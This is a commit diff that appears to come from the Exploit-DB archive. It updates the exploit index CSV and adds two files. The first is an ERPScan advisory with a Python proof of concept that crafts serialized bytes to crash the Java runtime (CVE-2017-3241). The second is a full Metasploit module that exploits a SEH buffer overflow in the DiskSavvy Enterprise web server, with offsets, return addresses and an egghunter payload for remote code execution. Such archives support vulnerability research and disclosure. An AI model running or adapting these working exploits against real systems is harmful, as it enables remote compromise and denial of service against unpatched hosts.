DB: 2017-01-24
2 new exploits MediaMonkey 3.2.4.1304 - (mp3) Buffer Overflow (PoC) MediaMonkey 3.2.4.1304 - 'mp3' Buffer Overflow (PoC) Oracle OpenJDK Runtime Environment 1.8.0_112-b15 - Java Serialization Denial Of Service DiskSavvy Enterprise - GET Buffer Overflow (Metasploit) OwnRS Blog 1.2 - (autor.php) SQL Injection OwnRS Blog 1.2 - 'autor.php' SQL Injection Mambo Component 'com_sim' 0.8 - Blind SQL Injection Mambo Component com_sim 0.8 - Blind SQL Injection Flax Article Manager 1.1 - 'cat_id' SQL Injection OpenGoo 1.1 - (script_class) Local File Inclusion EPOLL SYSTEM 3.1 - (Password.dat) Disclosure Flax Article Manager 1.1 - 'cat_id' Parameter SQL Injection OpenGoo 1.1 - Local File Inclusion EPOLL SYSTEM 3.1 - 'Password.dat' Disclosure ITLPoll 2.7 Stable2 - (index.php id) Blind SQL Injection ITLPoll 2.7 Stable2 - Blind SQL Injection Script Toko Online 5.01 - (shop_display_products.php) SQL Injection Script Toko Online 5.01 - SQL Injection Wazzum Dating Software - (userid) SQL Injection Wazzum Dating Software - 'userid' Parameter SQL Injection SiteXS 0.1.1 - (type) Local File Inclusion SiteXS CMS 0.1.1 - Local File Inclusion Joomla! Component com_flashmagazinedeluxe - (mag_id) SQL Injection OpenX 2.6.3 - (MAX_type) Local File Inclusion Joomla! Component ElearningForce Flash Magazine Deluxe - SQL Injection OpenX 2.6.3 - 'MAX_type' Parameter Local File Inclusion Community CMS 0.4 - (/index.php id) Blind SQL Injection Community CMS 0.4 - 'id' Parameter Blind SQL Injection
This commit is contained in:
Offensive Security
parent
e96ad87c43
commit
5c20fdffaa
3 changed files with 476 additions and 13 deletions
28
files.csv
28
files.csv
|
|
@ -1819,7 +1819,7 @@ id,file,description,date,author,platform,type,port
|
|||
16012,platforms/windows/dos/16012.html,"Google Chrome 8.0.552.237 - address Overflow Denial of Service",2011-01-18,"Vuk Ivanovic",windows,dos,0
|
||||
15649,platforms/windows/dos/15649.pl,"HP Data Protector Manager A.06.11 MMD - Null Pointer Dereference Denial of Service",2010-12-01,Pepelux,windows,dos,0
|
||||
15657,platforms/windows/dos/15657.txt,"FreeTrim MP3 2.2.3 - Denial of Service",2010-12-02,h1ch4m,windows,dos,0
|
||||
15669,platforms/windows/dos/15669.py,"MediaMonkey 3.2.4.1304 - (mp3) Buffer Overflow (PoC)",2010-12-04,0v3r,windows,dos,0
|
||||
15669,platforms/windows/dos/15669.py,"MediaMonkey 3.2.4.1304 - 'mp3' Buffer Overflow (PoC)",2010-12-04,0v3r,windows,dos,0
|
||||
15670,platforms/windows/dos/15670.pl,"Free Audio Converter 7.1.5 - Denial of Service (PoC)",2010-12-04,h1ch4m,windows,dos,0
|
||||
15671,platforms/windows/dos/15671.pl,"WaveMax Sound Editor 4.5.1 - Denial of Service (PoC)",2010-12-04,h1ch4m,windows,dos,0
|
||||
15674,platforms/windows/dos/15674.rb,"TFTPUtil GUI 1.4.5 - Denial of Service (Metasploit)",2010-12-04,"Vuk Ivanovic",windows,dos,0
|
||||
|
|
@ -5342,6 +5342,7 @@ id,file,description,date,author,platform,type,port
|
|||
41030,platforms/windows/dos/41030.py,"SapLPD 7.40 - Denial of Service",2016-12-28,"Peter Baris",windows,dos,0
|
||||
41042,platforms/windows/dos/41042.html,"Mozilla Firefox < 50.1.0 - Use-After-Free",2017-01-13,"Marcin Ressel",windows,dos,0
|
||||
41142,platforms/unix/dos/41142.c,"SunOS 5.11 ICMP - Denial of Service",2017-01-22,"Todor Donev",unix,dos,0
|
||||
41145,platforms/multiple/dos/41145.py,"Oracle OpenJDK Runtime Environment 1.8.0_112-b15 - Java Serialization Denial Of Service",2017-01-23,ERPScan,multiple,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
|
@ -15226,6 +15227,7 @@ id,file,description,date,author,platform,type,port
|
|||
41041,platforms/linux/remote/41041.rb,"Cisco Firepower Management Console 6.0 - Post Authentication UserAdd",2017-01-13,Metasploit,linux,remote,0
|
||||
41073,platforms/windows/remote/41073.py,"WinaXe Plus 8.7 - Buffer Overflow",2017-01-16,"Peter Baris",windows,remote,0
|
||||
41079,platforms/windows/remote/41079.rb,"DiskBoss Enterprise - GET Buffer Overflow (Metasploit)",2017-01-16,Metasploit,windows,remote,80
|
||||
41146,platforms/windows/remote/41146.rb,"DiskSavvy Enterprise - GET Buffer Overflow (Metasploit)",2017-01-23,Metasploit,windows,remote,80
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
|
@ -20557,31 +20559,31 @@ id,file,description,date,author,platform,type,port
|
|||
7844,platforms/php/webapps/7844.py,"Sad Raven's Click Counter 1.0 - passwd.dat Disclosure",2009-01-21,Pouya_Server,php,webapps,0
|
||||
7846,platforms/php/webapps/7846.php,"Joomla! Component com_pcchess - Blind SQL Injection",2009-01-21,InjEctOr5,php,webapps,0
|
||||
7847,platforms/php/webapps/7847.txt,"Joomla! Component beamospetition 1.0.12 - SQL Injection / Cross-Site Scripting",2009-01-21,vds_s,php,webapps,0
|
||||
7849,platforms/php/webapps/7849.txt,"OwnRS Blog 1.2 - (autor.php) SQL Injection",2009-01-22,nuclear,php,webapps,0
|
||||
7849,platforms/php/webapps/7849.txt,"OwnRS Blog 1.2 - 'autor.php' SQL Injection",2009-01-22,nuclear,php,webapps,0
|
||||
7850,platforms/asp/webapps/7850.txt,"asp-project 1.0 - Insecure Cookie Method",2009-01-22,"Khashayar Fereidani",asp,webapps,0
|
||||
7851,platforms/php/webapps/7851.php,"Pardal CMS 0.2.0 - Blind SQL Injection",2009-01-22,darkjoker,php,webapps,0
|
||||
7859,platforms/php/webapps/7859.pl,"MemHT Portal 4.0.1 - Remote Code Execution",2009-01-25,StAkeR,php,webapps,0
|
||||
7860,platforms/php/webapps/7860.php,"Mambo Component 'com_sim' 0.8 - Blind SQL Injection",2009-01-25,"Mehmet Ince",php,webapps,0
|
||||
7860,platforms/php/webapps/7860.php,"Mambo Component com_sim 0.8 - Blind SQL Injection",2009-01-25,"Mehmet Ince",php,webapps,0
|
||||
7861,platforms/asp/webapps/7861.txt,"Web-Calendar Lite 1.0 - Authentication Bypass",2009-01-25,ByALBAYX,asp,webapps,0
|
||||
7862,platforms/php/webapps/7862.txt,"Flax Article Manager 1.1 - 'cat_id' SQL Injection",2009-01-25,JIKO,php,webapps,0
|
||||
7863,platforms/php/webapps/7863.txt,"OpenGoo 1.1 - (script_class) Local File Inclusion",2009-01-25,fuzion,php,webapps,0
|
||||
7864,platforms/php/webapps/7864.py,"EPOLL SYSTEM 3.1 - (Password.dat) Disclosure",2009-01-25,Pouya_Server,php,webapps,0
|
||||
7862,platforms/php/webapps/7862.txt,"Flax Article Manager 1.1 - 'cat_id' Parameter SQL Injection",2009-01-25,JIKO,php,webapps,0
|
||||
7863,platforms/php/webapps/7863.txt,"OpenGoo 1.1 - Local File Inclusion",2009-01-25,fuzion,php,webapps,0
|
||||
7864,platforms/php/webapps/7864.py,"EPOLL SYSTEM 3.1 - 'Password.dat' Disclosure",2009-01-25,Pouya_Server,php,webapps,0
|
||||
7866,platforms/php/webapps/7866.txt,"Simple Machines Forum (SMF) 1.1.7 - Cross-Site Request Forgery / Cross-Site Scripting / Package Upload",2009-01-26,Xianur0,php,webapps,0
|
||||
7867,platforms/php/webapps/7867.php,"ITLPoll 2.7 Stable2 - (index.php id) Blind SQL Injection",2009-01-26,fuzion,php,webapps,0
|
||||
7867,platforms/php/webapps/7867.php,"ITLPoll 2.7 Stable2 - Blind SQL Injection",2009-01-26,fuzion,php,webapps,0
|
||||
7872,platforms/asp/webapps/7872.txt,"E-ShopSystem - Authentication Bypass / SQL Injection",2009-01-26,InjEctOr5,asp,webapps,0
|
||||
7873,platforms/php/webapps/7873.txt,"Script Toko Online 5.01 - (shop_display_products.php) SQL Injection",2009-01-26,k1n9k0ng,php,webapps,0
|
||||
7873,platforms/php/webapps/7873.txt,"Script Toko Online 5.01 - SQL Injection",2009-01-26,k1n9k0ng,php,webapps,0
|
||||
7874,platforms/php/webapps/7874.txt,"SHOP-INET 4 - 'grid' Parameter SQL Injection",2009-01-26,FeDeReR,php,webapps,0
|
||||
7876,platforms/php/webapps/7876.php,"PHP-CMS 1 - 'Username' Blind SQL Injection",2009-01-26,darkjoker,php,webapps,0
|
||||
7877,platforms/php/webapps/7877.txt,"Wazzum Dating Software - (userid) SQL Injection",2009-01-26,nuclear,php,webapps,0
|
||||
7877,platforms/php/webapps/7877.txt,"Wazzum Dating Software - 'userid' Parameter SQL Injection",2009-01-26,nuclear,php,webapps,0
|
||||
7878,platforms/php/webapps/7878.txt,"Groone's GLink ORGanizer - 'index.php cat' SQL Injection",2009-01-26,nuclear,php,webapps,0
|
||||
7879,platforms/php/webapps/7879.pl,"SiteXS 0.1.1 - (type) Local File Inclusion",2009-01-26,darkjoker,php,webapps,0
|
||||
7879,platforms/php/webapps/7879.pl,"SiteXS CMS 0.1.1 - Local File Inclusion",2009-01-26,darkjoker,php,webapps,0
|
||||
7880,platforms/php/webapps/7880.txt,"ClickAuction - Authentication Bypass",2009-01-26,R3d-D3V!L,php,webapps,0
|
||||
7881,platforms/php/webapps/7881.txt,"Joomla! Component com_flashmagazinedeluxe - (mag_id) SQL Injection",2009-01-26,TurkGuvenligi,php,webapps,0
|
||||
7883,platforms/php/webapps/7883.txt,"OpenX 2.6.3 - (MAX_type) Local File Inclusion",2009-01-26,"Charlie Briggs",php,webapps,0
|
||||
7881,platforms/php/webapps/7881.txt,"Joomla! Component ElearningForce Flash Magazine Deluxe - SQL Injection",2009-01-26,TurkGuvenligi,php,webapps,0
|
||||
7883,platforms/php/webapps/7883.txt,"OpenX 2.6.3 - 'MAX_type' Parameter Local File Inclusion",2009-01-26,"Charlie Briggs",php,webapps,0
|
||||
7884,platforms/php/webapps/7884.txt,"Flax Article Manager 1.1 - Remote PHP Script Upload",2009-01-27,S.W.A.T.,php,webapps,0
|
||||
7885,platforms/php/webapps/7885.txt,"Max.Blog 1.0.6 - 'show_post.php' SQL Injection",2009-01-27,"Salvatore Fresta",php,webapps,0
|
||||
7886,platforms/php/webapps/7886.txt,"Pixie CMS 1.0 - Multiple Local File Inclusion",2009-01-27,DSecRG,php,webapps,0
|
||||
7892,platforms/php/webapps/7892.php,"Community CMS 0.4 - (/index.php id) Blind SQL Injection",2009-01-28,darkjoker,php,webapps,0
|
||||
7892,platforms/php/webapps/7892.php,"Community CMS 0.4 - 'id' Parameter Blind SQL Injection",2009-01-28,darkjoker,php,webapps,0
|
||||
7893,platforms/php/webapps/7893.txt,"gamescript 4.6 - Cross-Site Scripting / SQL Injection / Local File Inclusion",2009-01-28,Encrypt3d.M!nd,php,webapps,0
|
||||
7894,platforms/php/webapps/7894.txt,"Chipmunk Blog - (Authentication Bypass) Add Admin",2009-01-28,x0r,php,webapps,0
|
||||
7895,platforms/php/webapps/7895.txt,"Gazelle CMS - 'template' Local File Inclusion",2009-01-28,fuzion,php,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
311
platforms/multiple/dos/41145.py
Executable file
311
platforms/multiple/dos/41145.py
Executable file
|
|
@ -0,0 +1,311 @@
|
|||
'''
|
||||
Application: Java SE
|
||||
|
||||
Vendor: Oracle
|
||||
|
||||
Bug: DoS
|
||||
|
||||
Reported: 23.12.2016
|
||||
|
||||
Vendor response: 24.12.2016
|
||||
|
||||
Date of Public Advisory: 17.01.2017
|
||||
|
||||
Reference: Oracle CPU Jan 2017
|
||||
|
||||
Author: Roman Shalymov
|
||||
|
||||
|
||||
|
||||
1. ADVISORY INFORMATION
|
||||
|
||||
Title: Oracle OpenJDK - Java Serialization DoS
|
||||
|
||||
Advisory ID: [ERPSCAN-17-006]
|
||||
|
||||
Risk: High
|
||||
|
||||
Advisory URL:
|
||||
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
|
||||
|
||||
Date published: 17.01.2017
|
||||
|
||||
Vendor contacted: Oracle
|
||||
|
||||
|
||||
2. VULNERABILITY INFORMATION
|
||||
|
||||
|
||||
Class: Denial of Service
|
||||
|
||||
Remotely Exploitable: Yes
|
||||
|
||||
Locally Exploitable: Yes
|
||||
|
||||
CVE Name: CVE-2017-3241
|
||||
|
||||
CVSS Base Score: 9.0
|
||||
|
||||
|
||||
3. VULNERABILITY DESCRIPTION
|
||||
|
||||
|
||||
An attacker can cause DoS of the application which uses OpenJDK Runtime
|
||||
Environment 1.8 as its core runtime engine.
|
||||
|
||||
|
||||
4. VULNERABLE PACKAGES
|
||||
|
||||
|
||||
OpenJDK Runtime Environment build 1.8.0_112-b15
|
||||
|
||||
|
||||
5. SOLUTIONS AND WORKAROUNDS
|
||||
|
||||
|
||||
Fix ObjectInputStream.skipCustomData() method, namely readObject0(false);
|
||||
call in switch statement
|
||||
|
||||
Adress Oracle CPU January 2017
|
||||
|
||||
6. AUTHOR
|
||||
|
||||
|
||||
Roman Shalymov (@shalymov)
|
||||
|
||||
|
||||
7. TECHNICAL DESCRIPTION
|
||||
|
||||
|
||||
An attacker can craft a malicious sequence of bytes that will cause JVM
|
||||
StackOverflowError in the standard Java deserialization process if it uses
|
||||
ObjectInputStream.readObject() method.
|
||||
|
||||
|
||||
7.1. Proof of Concept
|
||||
|
||||
An attacker creates a malicious sequence of bytes, for example, using this
|
||||
python script pwn_ser.py:
|
||||
|
||||
'''
|
||||
#!/usr/bin/env python2
|
||||
|
||||
import sys
|
||||
|
||||
exp = ""
|
||||
|
||||
#serialization header
|
||||
|
||||
exp += '\xac\xed\x00\x05'
|
||||
|
||||
exp1 = ''
|
||||
|
||||
exp1 += '\x72'
|
||||
|
||||
exp1 += '\x00\x0c'+'java.io.File'
|
||||
|
||||
exp1 += '\x41'*8
|
||||
|
||||
exp1 += '\x00'
|
||||
|
||||
exp1 += '\x00\x00'
|
||||
|
||||
|
||||
exp += exp1 * 10000
|
||||
|
||||
sys.stdout.write(exp)
|
||||
|
||||
'''
|
||||
and save it in exp2.ser file
|
||||
|
||||
|
||||
$ ./pwn_ser2.py > exp2.ser
|
||||
|
||||
Let's simulate deserialization process. For this purpose, we create a
|
||||
simple Java program, which uses the following standard deserialization
|
||||
pattern:
|
||||
|
||||
|
||||
Serialize_read.java
|
||||
|
||||
|
||||
import java.io.FileInputStream;
|
||||
|
||||
import java.io.ObjectInputStream;
|
||||
|
||||
public class Serialize_read {
|
||||
|
||||
public static void main(String args[]) throws Exception {
|
||||
|
||||
if(args.length < 1) {
|
||||
|
||||
System.out.println("usage: "+Serialize_read.class.getSimpleName()+"
|
||||
[file]");
|
||||
|
||||
System.exit(-1);
|
||||
|
||||
}
|
||||
|
||||
FileInputStream fin = new FileInputStream(args[0]);
|
||||
|
||||
ObjectInputStream oin = new ObjectInputStream(fin);
|
||||
|
||||
try {
|
||||
|
||||
Object objFromDisk = oin.readObject();
|
||||
|
||||
String s = (String)objFromDisk;
|
||||
|
||||
System.out.println(s);
|
||||
|
||||
System.out.println("Successfully read!");
|
||||
|
||||
}catch(Exception e){}
|
||||
|
||||
System.exit(0);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
Let's try to read our malicious file (we can also simulate this stuff over
|
||||
network communication):
|
||||
|
||||
$ javac Serialize_read.java
|
||||
|
||||
$ java Serialize_read exp2.ser
|
||||
|
||||
It causes the following error dump:
|
||||
|
||||
Exception in thread "main" java.lang.StackOverflowError
|
||||
|
||||
at
|
||||
java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2351)
|
||||
|
||||
at
|
||||
java.io.ObjectInputStream$BlockDataInputStream.readUnsignedShort(ObjectInputStream.java:2834)
|
||||
|
||||
at
|
||||
java.io.ObjectInputStream$BlockDataInputStream.readUTF(ObjectInputStream.java:2892)
|
||||
|
||||
at java.io.ObjectInputStream.readUTF(ObjectInputStream.java:1075)
|
||||
|
||||
at java.io.ObjectStreamClass.readNonProxy(ObjectStreamClass.java:684)
|
||||
|
||||
at java.io.ObjectInputStream.readClassDescriptor(ObjectInputStream.java:833)
|
||||
|
||||
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1609)
|
||||
|
||||
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
|
||||
|
||||
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
|
||||
|
||||
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
|
||||
|
||||
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
|
||||
|
||||
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
|
||||
|
||||
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
|
||||
|
||||
...
|
||||
|
||||
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
|
||||
|
||||
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
|
||||
|
||||
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
|
||||
|
||||
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
|
||||
|
||||
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
|
||||
|
||||
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
|
||||
|
||||
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
|
||||
|
||||
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1340)
|
||||
|
||||
at java.io.ObjectInputStream.skipCustomData(ObjectInputStream.java:1984)
|
||||
|
||||
at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1628)
|
||||
|
||||
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1521)
|
||||
|
||||
|
||||
8. REPORT TIMELINE
|
||||
|
||||
Reported: 23.12.2016
|
||||
|
||||
Vendor response: 24.12.2016
|
||||
|
||||
Date of Public Advisory: 17.01.2017
|
||||
|
||||
9. REFERENCES
|
||||
http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html
|
||||
https://erpscan.com/advisories/erpscan-17-006-oracle-openjdk-java-serialization-dos-vulnerability/
|
||||
|
||||
|
||||
10. ABOUT ERPScan Research
|
||||
|
||||
ERPScan research team specializes in vulnerability research and analysis of
|
||||
critical enterprise applications. It was acknowledged multiple times by the
|
||||
largest software vendors like SAP, Oracle, Microsoft, IBM, VMware, HP for
|
||||
discovering more than 400 vulnerabilities in their solutions (200 of them
|
||||
just in SAP!).
|
||||
|
||||
ERPScan researchers are proud of discovering new types of vulnerabilities
|
||||
(TOP 10 Web Hacking Techniques 2012) and of the "The Best Server-Side Bug"
|
||||
nomination at BlackHat 2013.
|
||||
|
||||
ERPScan experts participated as speakers, presenters, and trainers at 60+
|
||||
prime international security conferences in 25+ countries across the
|
||||
continents ( e.g. BlackHat, RSA, HITB) and conducted private trainings for
|
||||
several Fortune 2000 companies.
|
||||
|
||||
ERPScan researchers carry out the EAS-SEC project that is focused on
|
||||
enterprise application security awareness by issuing annual SAP security
|
||||
researches.
|
||||
|
||||
ERPScan experts were interviewed in specialized info-sec resources and
|
||||
featured in major media worldwide. Among them there are Reuters, Yahoo, SC
|
||||
Magazine, The Register, CIO, PC World, DarkReading, Heise, Chinabyte, etc.
|
||||
|
||||
Our team consists of highly-qualified researchers, specialized in various
|
||||
fields of cybersecurity (from web application to ICS/SCADA systems),
|
||||
gathering their experience to conduct the best SAP security research.
|
||||
|
||||
11. ABOUT ERPScan
|
||||
|
||||
ERPScan is the most respected and credible Business Application
|
||||
Cybersecurity provider. Founded in 2010, the company operates globally and
|
||||
enables large Oil and Gas, Financial, Retail and other organizations to
|
||||
secure their mission-critical processes. Named as an aEmerging Vendora in
|
||||
Security by CRN, listed among aTOP 100 SAP Solution providersa and
|
||||
distinguished by 30+ other awards, ERPScan is the leading SAP SE partner in
|
||||
discovering and resolving security vulnerabilities. ERPScan consultants
|
||||
work with SAP SE in Walldorf to assist in improving the security of their
|
||||
latest solutions.
|
||||
|
||||
ERPScanas primary mission is to close the gap between technical and
|
||||
business security, and provide solutions for CISO's to evaluate and secure
|
||||
SAP and Oracle ERP systems and business-critical applications from both
|
||||
cyberattacks and internal fraud. As a rule, our clients are large
|
||||
enterprises, Fortune 2000 companies and MSPs, whose requirements are to
|
||||
actively monitor and manage security of vast SAP and Oracle landscapes on a
|
||||
global scale.
|
||||
|
||||
We afollow the suna and have two hubs, located in Palo Alto and Amsterdam,
|
||||
to provide threat intelligence services, continuous support and to operate
|
||||
local offices and partner network spanning 20+ countries around the globe.
|
||||
|
||||
|
||||
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
|
||||
|
||||
Phone: 650.798.5255
|
||||
|
||||
Twitter: @erpscan
|
||||
|
||||
Scoop-it: Business Application Security
|
||||
'''
|
||||
150
platforms/windows/remote/41146.rb
Executable file
150
platforms/windows/remote/41146.rb
Executable file
|
|
@ -0,0 +1,150 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Seh
|
||||
include Msf::Exploit::Remote::Egghunter
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'DiskSavvy Enterprise GET Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a stack-based buffer overflow vulnerability
|
||||
in the web interface of DiskSavvy Enterprise v9.1.14 and v9.3.14,
|
||||
caused by improper bounds checking of the request path in HTTP GET
|
||||
requests sent to the built-in web server. This module has been
|
||||
tested successfully on Windows XP SP3 and Windows 7 SP1.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'vportal', # Vulnerability discovery and PoC
|
||||
'Gabor Seljan' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '40869']
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00\x09\x0a\x0d\x20",
|
||||
'Space' => 500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Automatic Targeting',
|
||||
{
|
||||
'auto' => true
|
||||
}
|
||||
],
|
||||
[
|
||||
'DiskSavvy Enterprise v9.1.14',
|
||||
{
|
||||
'Offset' => 542,
|
||||
'Ret' => 0x101142c0 # POP # POP # RET [libspp.dll]
|
||||
}
|
||||
],
|
||||
[
|
||||
'DiskSavvy Enterprise v9.3.14',
|
||||
{
|
||||
'Offset' => 2478,
|
||||
'Ret' => 0x101142ff # POP # POP # RET [libspp.dll]
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DisclosureDate' => 'Dec 01 2016',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
version = res.body[/Disk Savvy Enterprise v[^<]*/]
|
||||
if version
|
||||
vprint_status("Version detected: #{version}")
|
||||
if version =~ /9\.(1|3)\.14/
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
else
|
||||
vprint_error('Unable to determine due to a HTTP connection timeout')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
mytarget = target
|
||||
|
||||
if target['auto']
|
||||
mytarget = nil
|
||||
|
||||
print_status('Automatically detecting the target...')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body =~ /Disk Savvy Enterprise v9\.1\.14/
|
||||
mytarget = targets[1]
|
||||
elsif res.body =~ /Disk Savvy Enterprise v9\.3\.14/
|
||||
mytarget = targets[2]
|
||||
end
|
||||
end
|
||||
|
||||
if !mytarget
|
||||
fail_with(Failure::NoTarget, 'No matching target')
|
||||
end
|
||||
|
||||
print_status("Selected target: #{mytarget.name}")
|
||||
end
|
||||
|
||||
eggoptions = {
|
||||
checksum: true,
|
||||
eggtag: rand_text_alpha(4, payload_badchars)
|
||||
}
|
||||
|
||||
hunter, egg = generate_egghunter(
|
||||
payload.encoded,
|
||||
payload_badchars,
|
||||
eggoptions
|
||||
)
|
||||
|
||||
sploit = make_nops(10)
|
||||
sploit << egg
|
||||
sploit << rand_text_alpha(mytarget['Offset'] - egg.length)
|
||||
sploit << generate_seh_record(mytarget.ret)
|
||||
sploit << make_nops(8)
|
||||
sploit << hunter
|
||||
sploit << rand_text_alpha(4500)
|
||||
|
||||
print_status('Sending malicious request...')
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => sploit
|
||||
)
|
||||
end
|
||||
end
|
||||
Loading…
Add table
Reference in a new issue